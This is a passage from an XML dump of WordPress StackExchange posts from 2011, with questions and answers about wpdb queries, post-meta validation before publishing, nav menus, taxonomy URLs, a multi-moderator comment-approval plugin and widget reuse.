OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2011-04-26T04:12:30.957" LastActivityDate="2011-08-10T23:22:07.360" Title="How To create ajaxed wp-pagenavi?" Tags="&lt;pagination&gt;&lt;ajax&gt;&lt;plugin-wp-pagenavi&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="15576" PostTypeId="2" ParentId="15566" CreationDate="2011-04-25T19:45:26.147" Score="0" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://premium.wpmudev.org/project/post-indexer&quot; rel=&quot;nofollow&quot;&gt;Post Indexer&lt;/a&gt;. I'm using it &lt;a href=&quot;http://blogs.colman.ac.il/all/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (see tag cloud)&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2011-04-25T19:45:26.147" CommentCount="1" />
  <row Id="15578" PostTypeId="1" AcceptedAnswerId="15583" CreationDate="2011-04-25T20:25:51.517" Score="2" ViewCount="198" Body="&lt;p&gt;Just bump into the issue that I can't execute multiple sql queries using the &lt;code&gt;$wpdb-&amp;gt;query()&lt;/code&gt;. Generated queries work fine directly in phpmyadmin so its something will the ezSQL class only. By design perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this &lt;a href=&quot;http://wordpress.org/support/topic/wpdb-gtquery-fails-when-multiple-update-statements-are-used&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wpdb-gtquery-fails-when-multiple-update-statements-are-used&lt;/a&gt; which also says its by design. Can anyone confirm? ezSQL docs dont say anything about multiple queries support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have to do a bunch of queries mainly (INSERT/UPDATE/DELETE), any better way of doing them other than doing them one by one using &lt;code&gt;$wpdb-&amp;gt;insert()&lt;/code&gt; and like functions?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-25T21:53:29.400" Title="$wpdb-&gt;query() multiple query support" Tags="&lt;wpdb&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15579" PostTypeId="1" AcceptedAnswerId="15581" CreationDate="2011-04-25T20:41:17.890" Score="0" ViewCount="117" Body="&lt;p&gt;Is there any plugin that allows you to use a custom field as the thumbnail to display the most popular post within the last day (24 hours)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found several plugins but none seem to have the capabilities that would allow me to add a custom field as the image or even a thumbnail at all.&lt;/p&gt;&#xA;" OwnerUserId="4278" LastActivityDate="2011-04-25T20:56:01.673" Title="Popular Post With Thumbnail?" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15581" PostTypeId="2" ParentId="15579" CreationDate="2011-04-25T20:56:01.673" Score="2" ViewCount="" Body="&lt;p&gt;If you know the $Post-&gt;ID of the &quot;most popular post&quot;, why not just use &lt;code&gt;get_the_post_thumbnail()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_post_thumbnail( $id, $size ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-25T20:56:01.673" CommentCount="2" />
  <row Id="15582" PostTypeId="2" ParentId="15546" CreationDate="2011-04-25T21:24:03.530" Score="1" ViewCount="" Body="&lt;p&gt;There are two steps to the method: first, a function to save your custom metabox field data (hooked to save_post), and second, a function to read that new post_meta (which you just saved), validate it, and modify the result of saving as necessary (also hooked to save_post, but after the first). The validator function, if validation fails, actually changes the post_status right back to &quot;pending&quot;, effectively preventing the post from being published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the save_post function gets called a lot, each function has checks to only execute when the user means to publish, and only for your custom post type (mycustomtype).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also typically add some custom notice messages to help the user know why their post didn't publish, but those got a bit complicated to include here... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I haven't tested this exact code, but it's a simplified version of what I've done in large-scale custom post type setups.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_my_fields', 10, 2);&#xA;add_action('save_post', 'completion_validator', 20, 2);&#xA;&#xA;function save_my_fields($pid, $post) {&#xA;    // don't do on autosave or when new posts are first created&#xA;    if ( ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) || $post-&amp;gt;post_status == 'auto-draft' ) return $pid;&#xA;    // abort if not my custom type&#xA;    if ( $post-&amp;gt;post_type != 'mycustomtype' ) return $pid;&#xA;&#xA;    // save post_meta with contents of custom field&#xA;    update_post_meta($pid, 'mymetafield', $_POST['mymetafield']);&#xA;}&#xA;&#xA;&#xA;function completion_validator($pid, $post) {&#xA;    // don't do on autosave or when new posts are first created&#xA;    if ( ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) || $post-&amp;gt;post_status == 'auto-draft' ) return $pid;&#xA;    // abort if not my custom type&#xA;    if ( $post-&amp;gt;post_type != 'mycustomtype' ) return $pid;&#xA;&#xA;    // init completion marker (add more as needed)&#xA;    $meta_missing = false;&#xA;&#xA;    // retrieve meta to be validated&#xA;    $mymeta = get_post_meta( $pid, 'mymetafield', true );&#xA;    // just checking it's not empty - you could do other tests...&#xA;    if ( empty( $mymeta ) ) {&#xA;        $meta_missing = true;&#xA;    }&#xA;&#xA;    // on attempting to publish - check for completion and intervene if necessary&#xA;    if ( ( isset( $_POST['publish'] ) || isset( $_POST['save'] ) ) &amp;amp;&amp;amp; $_POST['post_status'] == 'publish' ) {&#xA;        //  don't allow publishing while any of these are incomplete&#xA;        if ( $meta_missing ) {&#xA;            global $wpdb;&#xA;            $wpdb-&amp;gt;update( $wpdb-&amp;gt;posts, array( 'post_status' =&amp;gt; 'pending' ), array( 'ID' =&amp;gt; $pid ) );&#xA;            // filter the query URL to change the published message&#xA;            add_filter( 'redirect_post_location', create_function( '$location','return add_query_arg(&quot;message&quot;, &quot;4&quot;, $location);' ) );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For multiple metabox fields, just add more completion markers and retrieve more post_meta and do more tests..&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-04-25T21:24:03.530" />
  <row Id="15583" PostTypeId="2" ParentId="15578" CreationDate="2011-04-25T21:27:53.337" Score="0" ViewCount="" Body="&lt;p&gt;Using PHP 5.3.5, I was unable to make this syntax work even after &lt;a href=&quot;http://www.php.net/manual/en/function.mysql-query.php#91669&quot; rel=&quot;nofollow&quot;&gt;setting the 5th parameter&lt;/a&gt; of &lt;code&gt;mysql_connect()&lt;/code&gt; to 65536 (&lt;code&gt;CLIENT_MULTI_STATEMENTS&lt;/code&gt;). Looks like it's not possible to concatenate multiple queries into one statement as long as the old-school MySQL API is running the show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you're familiar with the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/insert.html&quot; rel=&quot;nofollow&quot;&gt;MySQL multiple row INSERT&lt;/a&gt; syntax, but I mention it just in case.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-04-25T21:27:53.337" CommentCount="1" />
  <row Id="15584" PostTypeId="2" ParentId="8917" CreationDate="2011-04-25T21:29:12.897" Score="0" ViewCount="" Body="&lt;p&gt;&lt;em&gt;(Taken from my answer to a similar question posted &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15546/dont-publish-custom-post-type-post-if-a-meta-data-field-isnt-valid/15582#15582&quot;&gt;here&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two steps to this method: first, a function to save your custom metabox field data (hooked to save_post), and second, a function to read that new post_meta (which you just saved), validate it, and modify the result of saving as necessary (also hooked to save_post, but after the first). The validator function, if validation fails, actually changes the post_status right back to &quot;pending&quot;, effectively preventing the post from being published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the save_post function gets called a lot, each function has checks to only execute when the user means to publish, and only for your custom post type (mycustomtype).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also typically add some custom notice messages to help the user know why their post didn't publish, but those got a bit complicated to include here...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_my_fields', 10, 2);&#xA;add_action('save_post', 'completion_validator', 20, 2);&#xA;&#xA;function save_my_fields($pid, $post) {&#xA;    // don't do on autosave or when new posts are first created&#xA;    if ( ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) || $post-&amp;gt;post_status == 'auto-draft' ) return $pid;&#xA;    // abort if not my custom type&#xA;    if ( $post-&amp;gt;post_type != 'mycustomtype' ) return $pid;&#xA;&#xA;    // save post_meta with contents of custom field&#xA;    update_post_meta($pid, 'mymetafield', $_POST['mymetafield']);&#xA;}&#xA;&#xA;&#xA;function completion_validator($pid, $post) {&#xA;    // don't do on autosave or when new posts are first created&#xA;    if ( ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) || $post-&amp;gt;post_status == 'auto-draft' ) return $pid;&#xA;    // abort if not my custom type&#xA;    if ( $post-&amp;gt;post_type != 'mycustomtype' ) return $pid;&#xA;&#xA;    // init completion marker (add more as needed)&#xA;    $meta_missing = false;&#xA;&#xA;    // retrieve meta to be validated&#xA;    $mymeta = get_post_meta( $pid, 'mymetafield', true );&#xA;    // just checking it's not empty - you could do other tests...&#xA;    if ( empty( $mymeta ) ) {&#xA;        $meta_missing = true;&#xA;    }&#xA;&#xA;    // on attempting to publish - check for completion and intervene if necessary&#xA;    if ( ( isset( $_POST['publish'] ) || isset( $_POST['save'] ) ) &amp;amp;&amp;amp; $_POST['post_status'] == 'publish' ) {&#xA;        //  don't allow publishing while any of these are incomplete&#xA;        if ( $meta_missing ) {&#xA;            global $wpdb;&#xA;            $wpdb-&amp;gt;update( $wpdb-&amp;gt;posts, array( 'post_status' =&amp;gt; 'pending' ), array( 'ID' =&amp;gt; $pid ) );&#xA;            // filter the query URL to change the published message&#xA;            add_filter( 'redirect_post_location', create_function( '$location','return add_query_arg(&quot;message&quot;, &quot;4&quot;, $location);' ) );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For multiple metabox fields, just add more completion markers and retrieve more post_meta and do more tests..&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-04-25T21:29:12.897" />
  <row Id="15586" PostTypeId="2" ParentId="3775" CreationDate="2011-04-25T22:28:10.833" Score="0" ViewCount="" Body="&lt;p&gt;[SOLVED]&#xA;IT DOES NOT WORK when you are referring to an inexisting location. e.g. when you copied the code from somewhere else, or you haven't created your menu or location yet in the dasboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. remove &quot;, 'theme_location' =&gt; 'primary'&quot; from the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    wp_nav_menu( array( 'container'=&amp;gt; false, 'menu_class'=&amp;gt; false, 'menu_id'=&amp;gt; 'ia_toplevel', 'theme_location' =&amp;gt; 'primary' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it shoult look like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    wp_nav_menu( array( 'container'=&amp;gt; false, 'menu_class'=&amp;gt; false, 'menu_id'=&amp;gt; 'ia_toplevel' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine WITHOUT container in my website &lt;a href=&quot;http://SocialBlogsiteWebDesign.com&quot; rel=&quot;nofollow&quot;&gt;SocialBlogsiteWebDesign.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4882" LastEditorUserId="4882" LastEditorDisplayName="" LastEditDate="2011-04-26T00:23:36.563" LastActivityDate="2011-04-26T00:23:36.563" />
  <row Id="15587" PostTypeId="2" ParentId="15481" CreationDate="2011-04-25T22:34:24.807" Score="1" ViewCount="" Body="&lt;p&gt;after you created a &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt;, add this to style.css of the child theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#container {&#xA;    margin: 0 -320px 0 0;&#xA;}&#xA;#content {&#xA;    margin: 0 360px 0 20px;&#xA;}&#xA;#primary,&#xA;#secondary {&#xA;    width: 300px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you might need to increase the absolute numbers a bit more to fit the 300px ad.&lt;/p&gt;&#xA;" OwnerUserId="4883" LastActivityDate="2011-04-25T22:34:24.807" />
  <row Id="15588" PostTypeId="1" AcceptedAnswerId="15785" CreationDate="2011-04-25T22:45:12.190" Score="0" ViewCount="117" Body="&lt;p&gt;When you visit wordpress.com, they have a list of the most popular posts right on the front page. I was wondering if there was a way to do the same thing on my multisite installation. Is it possible, and if it is, how would I go about doing it (plugin? theme?)?&lt;/p&gt;&#xA;" OwnerUserId="4238" LastActivityDate="2011-05-28T00:54:26.157" Title="How to display the most popular posts of all the blogs in a mu setup?" Tags="&lt;multisite&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="15589" PostTypeId="2" ParentId="15569" CreationDate="2011-04-25T23:34:02.717" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;subscriber&lt;/code&gt; is &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;a role, not a capability&lt;/a&gt;. Use a capability to manage access, e.g. &lt;code&gt;read&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand the difference better install &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock’s plugin Members&lt;/a&gt;.&lt;br&gt;&#xA;For the &lt;strong&gt;subscriber&lt;/strong&gt; role you get a list of capabilities like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/u48ZJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;administrator&lt;/strong&gt; role in contrast:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4fRR2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-25T23:34:02.717" CommentCount="6" />
  <row Id="15590" PostTypeId="2" ParentId="15575" CreationDate="2011-04-25T23:44:39.120" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at this tutorial: &lt;a href=&quot;http://www.wpmods.com/easily-ajax-wordpress-pagination&quot; rel=&quot;nofollow&quot;&gt;http://www.wpmods.com/easily-ajax-wordpress-pagination&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-04-25T23:44:39.120" CommentCount="3" />
  <row Id="15591" PostTypeId="1" CreationDate="2011-04-25T23:47:13.787" Score="0" ViewCount="114" Body="&lt;p&gt;I want to turn the post-excerpt function on but it doesn't even show as an option under 'screen options' for posts. How do I get it to display as a check box under screen options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried inserting the code...// Change what's hidden by default... into the function.php but this causes problems. Perhaps I am not inserting the code into the correct part of the file or something or have left something vital out?&lt;/p&gt;&#xA;" OwnerUserId="4885" LastActivityDate="2011-04-26T00:13:48.237" Title="post-excerpt not one of the options under screen options" Tags="&lt;metabox&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15592" PostTypeId="2" ParentId="15591" CreationDate="2011-04-26T00:13:48.237" Score="1" ViewCount="" Body="&lt;p&gt;Are you on the Edit &lt;em&gt;Post&lt;/em&gt; Screen, or the Edit &lt;em&gt;Page&lt;/em&gt; screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages do not support Excerpts by default, although you can enable it.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-26T00:13:48.237" CommentCount="4" />
  <row Id="15593" PostTypeId="1" AcceptedAnswerId="15596" CreationDate="2011-04-26T00:39:38.477" Score="0" ViewCount="76" Body="&lt;p&gt;I have been having problems with a custom taxonomy not working with a url. For example mysite.com/testcat/test1  will 404 but mysite.com/make/ford will work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More troubling is that mysite.com/?make=ford&amp;amp;testcat=test1 will bring up my test page (both taxonomies where included).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a clipping of the functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( 'testcat', 'videos', array( 'hierarchical' =&amp;gt; True, 'label' =&amp;gt; 'testcat', 'query_var' =&amp;gt; true, 'rewrite' =&amp;gt; true ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what i'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3971" LastActivityDate="2011-04-26T01:09:09.240" Title="Random category URLs not working" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="15594" PostTypeId="2" ParentId="2574" CreationDate="2011-04-26T00:54:52.107" Score="0" ViewCount="" Body="&lt;p&gt;To filter out the wrapping div:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_args', 'prefix_nav_menu_args');&#xA;function prefix_nav_menu_args($args = ''){&#xA;    $args['container'] = false;&#xA;    return $args;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-26T00:54:52.107" />
  <row Id="15595" PostTypeId="2" ParentId="15574" CreationDate="2011-04-26T01:01:20.697" Score="7" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;comment_unapproved_to_approved&lt;/code&gt; action hook to call your function which will use a commentmeta field to count how many times that comment has been approved or by how many users and if it's less then 3 then we updated the comment to not approved :&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm posting an updated code in the form of a plugin which fixes a few typos:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: 3-comment-mod&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: Answer to http://wordpress.stackexchange.com/questions/15574/3-moderators-to-approve-comment/15595#15595&#xA;Version: 1.0&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;if(!function_exists('check_add_approved_count')) {&#xA;&#xA;    function check_add_approved_count($comment){&#xA;        global $current_user;&#xA;        get_currentuserinfo();&#xA;        //respect the admin comments approved by one approval&#xA;        if (current_user_can('manage_options')){&#xA;            return '';&#xA;        }&#xA;        $mods = get_comment_meta($comment-&amp;gt;comment_ID,'approved_by',true);&#xA;        if(!empty($mods) &amp;amp;&amp;amp; is_array($mods)){&#xA;&#xA;            //only allow each mod to approve once&#xA;            if (in_array($current_user-&amp;gt;ID,$mods)){&#xA;                return '';&#xA;            }else{&#xA;&#xA;                //here we check the count&#xA;                if (count($mods) &amp;lt; 3){&#xA;                    //if less then 3 then&#xA;                    //we add the current mod to the approving list &#xA;&#xA;                    $mods[] = $current_user-&amp;gt;ID;&#xA;                    update_comment_meta($comment-&amp;gt;comment_ID,'approved_by',$mods);&#xA;&#xA;                    //and revert back the comment to not approved&#xA;                    $commentarr = get_comment($comment-&amp;gt;comment_ID, ARRAY_A);&#xA;                    $commentarr['comment_approved'] = 0; &#xA;                    wp_update_comment($commentarr);&#xA;                }&#xA;            }&#xA;        }&#xA;        //if we got here it means that this is the first approval &#xA;        //so we just add the user to the list and revert back the comment to not approved&#xA;        $mods[] = $current_user-&amp;gt;ID;&#xA;        update_comment_meta($comment-&amp;gt;comment_ID,'approved_by',$mods);&#xA;&#xA;        //and revert back the comment to not approved&#xA;        $commentarr = get_comment($comment-&amp;gt;comment_ID, ARRAY_A);&#xA;        $commentarr['comment_approved'] = 0; &#xA;        wp_update_comment($commentarr);&#xA;    }&#xA;}&#xA;&#xA;add_action('comment_unapproved_to_approved','check_add_approved_count');&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-04T14:52:55.923" LastActivityDate="2011-05-04T14:52:55.923" CommentCount="19" />
  <row Id="15596" PostTypeId="2" ParentId="15593" CreationDate="2011-04-26T01:09:09.240" Score="1" ViewCount="" Body="&lt;p&gt;Did you flush your rewrite rules after you created the taxonomy?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested your code (only changing &lt;code&gt;'videos'&lt;/code&gt; to &lt;code&gt;'post'&lt;/code&gt;) by adding to my functions PHP (TwentyEleven Theme WordPress 3.2 Trunk) then flushed my rewrite rules and created a post and gave it the testcat of test1 and the URL worked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'c3m_wp_stackx');&#xA;function c3m_wp_stackx() {&#xA;register_taxonomy( 'testcat', 'post', array( 'hierarchical' =&amp;gt; True, 'label' =&amp;gt; 'testcat', 'query_var' =&amp;gt; true, 'rewrite' =&amp;gt; true ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/rBtu4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-26T01:09:09.240" CommentCount="2" />
  <row Id="15597" PostTypeId="2" ParentId="5777" CreationDate="2011-04-26T01:37:38.573" Score="1" ViewCount="" Body="&lt;p&gt;Oh quite the discussion! I have to admit as well that I use classes for encapsulation far more often than not. The idea being here that in my plugins, I can wrap my functions in a class, and within that class use very simple, meaningful method names that are generic even among other plugins I write. In that instance, classes are a substitute for namespaces, which I am forced to avoid for 5.2.x environments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there are few instances that OOP is useful for modularity, the simple act of wrapping your functions also creates the added bonus of cross-plugin extendability. For example, I recently extended an invoicing solution that was class based, and being such I could extend the main class, add extra code to various functions (w/ parent::calls) or even replace functions, all without internalizing the extended plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allas though, class wrapping for the most part is just a substitute for namespaces.&lt;/p&gt;&#xA;" OwnerUserId="4886" LastActivityDate="2011-04-26T01:37:38.573" />
  <row Id="15599" PostTypeId="2" ParentId="15554" CreationDate="2011-04-26T02:16:45.203" Score="1" ViewCount="" Body="&lt;p&gt;Regarding comments- what about the case where a comment older than 90 days has child replies younger than 90 days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for comment and pingback status, this should do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;UPDATE wp_posts SET comment_status = 'closed', ping_status = 'closed' WHERE post_date &amp;lt; DATE_SUB(NOW(), INTERVAL 3 MONTH) AND post_status = 'publish';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-26T02:16:45.203" CommentCount="2" />
  <row Id="15600" PostTypeId="2" ParentId="14218" CreationDate="2011-04-26T02:16:58.340" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;comment_form()&lt;/a&gt; not a self made code. See the answers to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15179/what-are-the-current-recommended-best-practices-for-comments-php/15201#15201&quot;&gt;question 15179&lt;/a&gt; for a working example of a comments.php.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-26T02:16:58.340" />
  <row Id="15601" PostTypeId="1" CreationDate="2011-04-26T02:50:31.283" Score="1" ViewCount="68" Body="&lt;p&gt;I don't want my blog to use &quot;categories&quot; is there a way to turn them off? I can just not define any but then they are still listed as &quot;uncategorized&quot;&lt;/p&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2011-04-26T03:17:16.493" Title="Do I have to use categories?" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15602" PostTypeId="2" ParentId="15601" CreationDate="2011-04-26T03:08:32.647" Score="2" ViewCount="" Body="&lt;p&gt;You're not obligated to use categories. The listing of categories is a function of the theme, you can edit your theme and remove that. Depending on the structure of your theme these may be in a number of places. You can search for instances of &lt;code&gt;get_the_category&lt;/code&gt; and comment them out. Look for a file called &lt;code&gt;loop.php&lt;/code&gt; first, failing that, your &lt;code&gt;single.php&lt;/code&gt; and &lt;code&gt;index.php&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*edit:&#xA;I should mention, it may be the case that your particular theme doesn't allow you to remove the category listing as easily as I've outlined, if you're using a framework based theme where these functions are removed from the normal template structure for instance. In this case you should seek assistance with the support of whomever developed your theme, or choose another.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-04-26T03:14:07.227" LastActivityDate="2011-04-26T03:14:07.227" />
  <row Id="15603" PostTypeId="2" ParentId="15601" CreationDate="2011-04-26T03:17:16.493" Score="0" ViewCount="" Body="&lt;p&gt;There is not a built in hook or filter to unregister a taxonomy (category is a built in WordPress taxonomy).  There is a &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11058&quot; rel=&quot;nofollow&quot;&gt;trac ticket with a patch&lt;/a&gt; but it has not been implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a solution on &lt;a href=&quot;http://wordpress.stackexchange.com/users/385/kaiser&quot;&gt;Kaiser's&lt;/a&gt; Git Hub &lt;a href=&quot;https://gist.github.com/franz-josef-kaiser&quot; rel=&quot;nofollow&quot;&gt;Page&lt;/a&gt; that allows you to &lt;a href=&quot;https://gist.github.com/870890&quot; rel=&quot;nofollow&quot;&gt;unregister built in taxonomies.&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-26T03:17:16.493" />
  <row Id="15604" PostTypeId="1" CreationDate="2011-04-26T04:25:27.647" Score="1" ViewCount="102" Body="&lt;p&gt;I have a site for a booking agency for entertainers. Each entertainer has their own page. The sidebar currently contains the advanced twitter profile widget for the agency's twitter account. Each of the entertainers' pages needs the same widget in their sidebar with their own account id.&#xA;Question is:&#xA;Is it possible to use the same plugin with different id's?&#xA;Or:&#xA;Must I create multiple sidebars (20 +) and hard code the plugin using the different account id's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hard code I have used that is suppose to mimic this plug falls short on functionality and cannot be styled to look identical to the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4888" LastActivityDate="2011-06-13T02:43:24.110" Title="Use plugin multiple times" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="15605" PostTypeId="2" ParentId="15604" CreationDate="2011-04-26T06:09:41.897" Score="2" ViewCount="" Body="&lt;p&gt;Unfortunately the &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/advanced-twitter-profile-widget/trunk/advanced-twitter-profile-widget.php?rev=327319&quot; rel=&quot;nofollow&quot;&gt;Advanced Twitter Profile Widget Plugin&lt;/a&gt; does not use the W&lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;ordPress Widget API&lt;/a&gt; and extend the WP_Widget class which would allow multiple instances of the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option is to find another Twitter Widget Plugin.  There are hundreds available.  I found one similar called &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-widgetwidget/&quot; rel=&quot;nofollow&quot;&gt;Twitter WidgetWidget&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic Plugin&lt;/a&gt; which will create a meta box at the bottom of each widget for conditional statements on where to display it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drag one instance of the widget into the sidebar for each entertainer and add this to the widget logic box&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;is_page('page_name')&lt;/code&gt; using the slug from the page or use the page id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VKcJT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-26T06:09:41.897" CommentCount="2" />
  <row Id="15606" PostTypeId="2" ParentId="15604" CreationDate="2011-04-26T06:10:15.067" Score="1" ViewCount="" Body="&lt;p&gt;You could modify the plugin slightly, to load the content of a custom field as the Twitted ID, and on each clients page add a custom field with the client's Twitter ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or else as you said create a sidebar per client (might be useful in the long run)&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-26T06:10:15.067" />
